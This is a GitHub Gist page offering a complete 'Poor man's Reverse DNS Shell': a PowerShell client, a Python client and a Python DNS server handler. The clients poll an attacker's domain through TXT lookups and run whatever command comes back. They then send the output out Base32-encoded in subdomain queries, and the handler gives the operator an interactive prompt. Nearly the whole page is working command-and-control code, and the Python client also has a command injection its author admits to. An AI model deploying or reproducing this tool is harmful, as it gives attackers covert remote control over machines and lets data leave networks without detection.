Last active
January 11, 2020 11:12
-
-
Save FrankSpierings/4fe924866634a470bc46218d6d24a183 to your computer and use it in GitHub Desktop.
Poor man's Reverse DNS Shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# DNS requests created: <clientid>.<type>.<msgid>.<oftotalids>.<data>.<random>.<domain> | |
# | |
Function ConvertTo-Blocks() { | |
param( | |
[String]$String, | |
[int]$Size | |
) | |
[Array]$output = @() | |
for ($i=0; $i -lt $String.Length; $i+=$Size) { | |
$length = $Size; | |
if (($i + $length) -gt $String.Length) { | |
$length = $String.Length % $Size; | |
} | |
$output += $String.Substring($i, $length); | |
} | |
return $output | |
} | |
Function Get-RandomString() { | |
param( | |
[int]$Size | |
) | |
return (((65..90) + (48..57) | Get-Random -Count $Size | %{[char]$_}) -join "") | |
} | |
Function Invoke-DNSShell() { | |
param ( | |
[int]$Polltime = 5, | |
[Parameter(mandatory=$true)] | |
[string]$Domain, | |
[string]$Server, | |
[string]$ClientId = (Get-RandomString 4) | |
) | |
$pagesize = 4096; | |
$blocksize = 63; | |
if ($Server -ne "") { | |
$Extra = $Server; | |
} | |
else { | |
$Extra = ''; | |
} | |
Function Convert-ToBase32() { | |
param( | |
[string]$String | |
) | |
[System.String]$B32CHARSET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"; | |
[System.IO.Stream]$InputStream = New-Object -TypeName System.IO.MemoryStream(,[System.Text.Encoding]::ASCII.GetBytes($String)); | |
[System.Object]$BinaryReader = New-Object -TypeName System.IO.BinaryReader($InputStream); | |
[System.Object]$Base32Output = New-Object -TypeName System.Text.StringBuilder; | |
While ([System.Byte[]]$BytesRead = $BinaryReader.ReadBytes(5)) { | |
[System.Boolean]$AtEnd = ($BinaryReader.BaseStream.Length -eq $BinaryReader.BaseStream.Position); | |
[System.UInt16]$ByteLength = $BytesRead.Length; | |
If ($ByteLength -lt 5) { | |
[System.Byte[]]$WorkingBytes = ,0x00 * 5; | |
[System.Buffer]::BlockCopy($BytesRead,0,$WorkingBytes,0,$ByteLength); | |
[System.Array]::Resize([ref]$BytesRead,5); | |
[System.Buffer]::BlockCopy($WorkingBytes,0,$BytesRead,0,5); | |
} | |
[System.Char[]]$B32Chars = ,0x00 * 8; | |
[System.Char[]]$B32Chunk = ,"=" * 8; | |
$B32Chars[0] = ($B32CHARSET[($BytesRead[0] -band 0xF8) -shr 3]); | |
$B32Chars[1] = ($B32CHARSET[(($BytesRead[0] -band 0x07) -shl 2) -bor (($BytesRead[1] -band 0xC0) -shr 6)]); | |
$B32Chars[2] = ($B32CHARSET[($BytesRead[1] -band 0x3E) -shr 1]); | |
$B32Chars[3] = ($B32CHARSET[(($BytesRead[1] -band 0x01) -shl 4) -bor (($BytesRead[2] -band 0xF0) -shr 4)]); | |
$B32Chars[4] = ($B32CHARSET[(($BytesRead[2] -band 0x0F) -shl 1) -bor (($BytesRead[3] -band 0x80) -shr 7)]); | |
$B32Chars[5] = ($B32CHARSET[($BytesRead[3] -band 0x7C) -shr 2]); | |
$B32Chars[6] = ($B32CHARSET[(($BytesRead[3] -band 0x03) -shl 3) -bor (($BytesRead[4] -band 0xE0) -shr 5)]); | |
$B32Chars[7] = ($B32CHARSET[$BytesRead[4] -band 0x1F]); | |
[System.Array]::Copy($B32Chars,$B32Chunk,([Math]::Ceiling(($ByteLength / 5) * 8))); | |
[void]$Base32Output.Append($B32Chunk) | |
} | |
[System.String]$Base32Result = $Base32Output.ToString() | |
$BinaryReader.Close() | |
$BinaryReader.Dispose() | |
$InputStream.Close() | |
$InputStream.Dispose() | |
return $Base32Result | |
} | |
while ($true) { | |
$cmd = $('&nslookup -type=TXT {0}.{1}.{2}.{3}.{4}.{5}.{6} {7} 2>&1' -f $clientid, 0, 0, 0,(Get-RandomString 10),(Get-RandomString 4),$Domain,$Extra); | |
Write-Debug $cmd | |
$output = ($cmd | IEX -ErrorAction "SilentlyContinue" | Out-String); | |
Write-Debug $output | |
if ($output -match '(?si)text\s*=\s*"(?<command>.*?)".*$') { | |
$command = $Matches['command']; | |
Write-Verbose $command | |
$Error.Clear(); | |
try { | |
$output = ($command | IEX | Out-String); | |
} | |
catch { | |
$output = $Error | Out-String; | |
} | |
[Array]$pages = @(ConvertTo-Blocks -String $output -Size $pagesize | where {$_}) | |
$pages |% { | |
$page = $_; | |
$encpage = (Convert-ToBase32 -String $page); | |
$encpage = $encpage.TrimEnd('='); | |
[Array]$blocks = @(ConvertTo-Blocks -String $encpage -Size $blocksize | where {$_}) | |
for ($i=0; $i -lt $blocks.Length; $i++) { | |
$cmd = $('&nslookup -type=TXT {0}.{1}.{2}.{3}.{4}.{5}.{6} {7} 2>&1' -f $clientid, 1, $i, ($blocks.Length -1), $blocks[$i], (Get-RandomString 4) ,$Domain,$Extra); | |
Write-Debug $cmd; | |
Write-Debug ($cmd | IEX | Out-String); | |
} | |
} | |
} | |
Start-Sleep $Polltime; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# | |
# DNS requests created: <clientid>.<type>.<msgid>.<oftotalids>.<data>.<random>.<domain> | |
# | |
import os | |
import base64 | |
import time | |
import subprocess | |
import string | |
import random | |
import argparse | |
import logging, logging.config | |
logconfig = {'version': 1, 'disable_existing_loggers': False, | |
'formatters': { | |
'standard': {'format': '%(asctime)s [%(levelname)s] %(name)s: %(message)s'}, | |
},'handlers': { | |
'default': { | |
'level': 'DEBUG','formatter':'standard','class': 'logging.StreamHandler','stream': 'ext://sys.stdout',}, | |
},'loggers': { | |
'': {'handlers': ['default'],'level': 'INFO','propagate': True}, | |
} | |
} | |
def randomstring(l=10, dictionary=(string.ascii_lowercase + string.digits)): | |
out = '' | |
for i in range(l): | |
out += dictionary[random.randint(0, len(dictionary) - 1)] | |
return out | |
def get_blocks(message, chunksize=63): | |
return [message[i:i+chunksize] for i in range(0, len(message), chunksize)] | |
if __name__ == "__main__": | |
logging.config.dictConfig(logconfig) | |
logger = logging.getLogger() | |
parser = argparse.ArgumentParser(description='DNS Reverse Shell Client') | |
parser.add_argument('domain', type=str, help='The domain name: evil.server.com') | |
parser.add_argument('-s', dest='server', type=str, help='The DNS server to connect to: 127.0.0.1') | |
parser.add_argument('-i', dest='clientid', default=randomstring(4), type=str, help='The client identifier') | |
parser.add_argument('-d', dest='debug', action='store_true', help='Debug mode') | |
args = parser.parse_args() | |
if args.debug: | |
logger.setLevel('DEBUG') | |
if args.server: | |
# Command injection, but who cares. | |
extra = '@{0}'.format(args.server) | |
else: | |
extra = '' | |
logger.info('Startup, ClientID: {0}'.format(args.clientid)) | |
try: | |
while True: | |
cmdargs = { | |
'clientid': args.clientid, | |
'msgtype': 0, | |
'msgid': 0, | |
'msgidtotal': 0, | |
'data': randomstring(10), | |
'random': randomstring(4), | |
'domain': args.domain, | |
'extra': extra | |
} | |
cmd = 'dig +short TXT {clientid}.{msgtype}.{msgid}.{msgidtotal}.{data}.{random}.{domain} {extra}'.format(**cmdargs) | |
logger.debug(cmd) | |
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) | |
output = p.stdout.read() | |
logger.debug(output) | |
if output != b'': | |
cmd = output.decode().strip()[1:-1] | |
logger.info('cmd: {0}'.format(cmd)) | |
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) | |
while True: | |
page = p.stdout.read(4096) | |
if page: | |
i = 0 | |
encpage = base64.b32encode(page) | |
encpage = encpage.rstrip(b'=') | |
blocks = get_blocks(encpage) | |
for block in blocks: | |
cmdargs = { | |
'clientid': args.clientid, | |
'msgtype': 1, | |
'msgid': i, | |
'msgidtotal': len(blocks)-1, | |
'data': block.decode(), | |
'random': randomstring(4), | |
'domain': args.domain, | |
'extra': extra | |
} | |
cmd = 'dig +short TXT {clientid}.{msgtype}.{msgid}.{msgidtotal}.{data}.{random}.{domain} {extra}'.format(**cmdargs) | |
logger.debug(cmd) | |
p2 = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) | |
p2.wait() | |
logger.debug(p2.stdout.read().decode()) | |
i += 1 | |
else: | |
break | |
time.sleep(5) | |
except KeyboardInterrupt: | |
logger.info("Shutting down...") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# | |
# DNS request expected: <clientid>.<type>.<msgid>.<oftotalids>.<data>.<random>.<domain> | |
# | |
import argparse | |
import threading | |
import socketserver | |
import time | |
import struct | |
import readline | |
import queue | |
from dnslib import * | |
import base64 | |
import sys, traceback | |
import logging, logging.config | |
logconfig = {'version': 1, 'disable_existing_loggers': False, | |
'formatters': { | |
'standard': {'format': '%(asctime)s [%(levelname)s] %(name)s: %(message)s'}, | |
},'handlers': { | |
'default': { | |
'level': 'DEBUG','formatter':'standard','class': 'logging.StreamHandler','stream': 'ext://sys.stdout',}, | |
},'loggers': { | |
'': {'handlers': ['default'],'level': 'INFO','propagate': True}, | |
} | |
} | |
MAXMSGID = 105 # Uncoded pages of 4096 bytes. 4096 * 1.6 (= base32 ratio) = 6554 encoded pages. 6554/63 = 105 requests. | |
commandqueue = queue.Queue() | |
lock = threading.Lock() | |
clientresponse = {} | |
def dns_response(data): | |
request = DNSRecord.parse(data) | |
logger.debug('Received request:\n{0}'.format(request)) | |
message = str(request.q.qname).split('.') | |
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) | |
# Handle PTR requests, Windows does this. | |
if request.q.qtype == QTYPE.PTR: | |
reply.add_answer(RR(request.q.qname,QTYPE.PTR, ttl=3600, rdata=PTR('whowantstoknow'))) | |
return reply.pack() | |
try: | |
if len(message) > 5: | |
clientid = message[0] | |
msgtype = int(message[1]) | |
msgid = int(message[2]) | |
msgidtotal = int(message[3]) | |
data = message[4] | |
rnd = message[5] | |
domain = '.'.join(message[6:-1]) | |
msg = 'Decoded information:\n' | |
msg += 'clientid: {0}\n' | |
msg += 'msgtype: {1}\n' | |
msg += 'msgid: {2}\n' | |
msg += 'msgidtotal: {3}\n' | |
msg += 'data: {4}\n' | |
msg += 'random: {5}\n' | |
msg += 'domain: {6}' | |
logger.debug(msg.format(clientid, msgtype, msgid, msgidtotal, data, rnd, domain)) | |
if (domain != args.domain): | |
logger.warning("Request for an incorrect domain '{0}'. Ignoring packet".format(domain)) | |
elif (msgid > msgidtotal) or (msgidtotal > MAXMSGID): | |
logger.warning("Message ID's to high. Ignoring packet") | |
elif msgtype == 0: | |
# Request a command | |
if not commandqueue.empty(): | |
command = commandqueue.get() | |
commandqueue.task_done() | |
reply.add_answer(RR(request.q.qname,QTYPE.TXT,ttl=1, rdata=TXT(command))) | |
logger.debug('Sending command:\n{0}'.format(command)) | |
# New command has been sent, clear the results. (This does not seem wise, but YOLO) | |
with lock: | |
clientresponse.clear() | |
elif msgtype == 1: | |
with lock: | |
if msgid not in clientresponse.keys(): | |
clientresponse[msgid] = data | |
# We can do better, should check if the fragment is there and such, but for now.. | |
if msgid == msgidtotal and len(sorted(clientresponse)) == (msgidtotal +1): | |
message = ''.join([clientresponse[key] for key in sorted(clientresponse)]) | |
if (len(message) % 8 != 0): | |
padding = "=" * (8 - (len(message) % 8)) | |
else: | |
padding = '' | |
message = '{0}{1}'.format(message, padding) | |
logger.debug('Encoded message:\n{0}'.format(message)) | |
message = base64.b32decode(message.upper()) | |
message = message.decode(errors='ignore') | |
message = '{0}\n$ '.format(message) | |
print(message, end='') | |
clientresponse.clear() | |
else: | |
logger.warning('Not a correct message; incorrect msgtype.') | |
else: | |
logger.warning('Not a correct message; incorrect length of name.') | |
except: | |
logger.error(traceback.format_exc()) | |
logger.debug('Sending Reply:\n{0}'.format(reply)) | |
return reply.pack() | |
class BaseRequestHandler(socketserver.BaseRequestHandler): | |
def get_data(self): | |
raise NotImplementedError | |
def send_data(self, data): | |
raise NotImplementedError | |
def handle(self): | |
logger.debug('Received packet.') | |
data = self.get_data() | |
logger.debug('Raw data: {0}'.format(data)) | |
self.send_data(dns_response(data)) | |
class TCPRequestHandler(BaseRequestHandler): | |
def get_data(self): | |
data = self.request.recv(2) | |
if (data and len(data) == 2): | |
length = struct.unpack('>H', data)[0] | |
data = '' | |
while (len(data) < length): | |
data += self.request.recv(4096) | |
if len(data) != length: | |
logger.warning('TCP Packet size is different as stated in the first two bytes. Ignoring packet.') | |
else: | |
return data | |
else: | |
logger.warning('Incorrect TCP packet. Length bytes are not available. Ignoring packet') | |
def send_data(self, data): | |
length = struct.pack('>H', len(data)) | |
return self.request.sendall(length + data) | |
class UDPRequestHandler(BaseRequestHandler): | |
def get_data(self): | |
return self.request[0] | |
def send_data(self, data): | |
return self.request[1].sendto(data, self.client_address) | |
if __name__ == "__main__": | |
logging.config.dictConfig(logconfig) | |
logger = logging.getLogger() | |
parser = argparse.ArgumentParser(description='DNS Reverse Shell Handler') | |
parser.add_argument(dest='domain', type=str, help='The domain to listen for: evil.server.com') | |
parser.add_argument('-b', dest='address', default='0.0.0.0', type=str, help='The bind address: 0.0.0.0') | |
parser.add_argument('-p', dest='port', default=53, type=int, help='The host listening port (TCP/UDP)') | |
parser.add_argument('-d', dest='debug', action='store_true', help='Debug mode') | |
args = parser.parse_args() | |
if args.debug: | |
logger.setLevel('DEBUG') | |
DOMAIN = args.domain | |
logger.info('Startup...') | |
servers = [] | |
servers.append(socketserver.ThreadingUDPServer((args.address, args.port), UDPRequestHandler)) | |
servers.append(socketserver.ThreadingTCPServer((args.address, args.port), TCPRequestHandler)) | |
for server in servers: | |
logger.info('Starting: {0}, {1}:{2}'.format(server.__class__, server.server_address[0], server.server_address[1])) | |
thread = threading.Thread(target=server.serve_forever) | |
thread.daemon = True | |
thread.start() | |
try: | |
while True: | |
cmd = input('$ ') | |
if (cmd.strip() != ''): | |
commandqueue.put(cmd) | |
except KeyboardInterrupt: | |
for server in servers: | |
logger.info('Stopping: {0}, {1}:{2}'.format(server.__class__, server.server_address[0], server.server_address[1])) | |
server.server_close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment